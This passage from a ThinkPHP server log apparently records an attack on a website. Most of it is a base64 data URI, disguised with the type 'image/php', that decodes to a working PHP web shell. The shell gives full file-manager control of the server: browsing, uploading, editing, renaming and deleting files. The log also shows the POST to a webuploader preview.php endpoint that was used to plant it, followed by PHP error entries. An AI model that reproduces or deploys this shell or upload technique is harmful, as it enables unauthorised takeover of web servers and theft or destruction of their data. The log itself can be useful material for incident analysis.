'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:17+08:00 ] 116.213.36.234 POST www.51tianwei.com/web/static//webuploader/0.1.5/server/preview.php [运行时间:0.002810s] [吞吐率:355.87req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 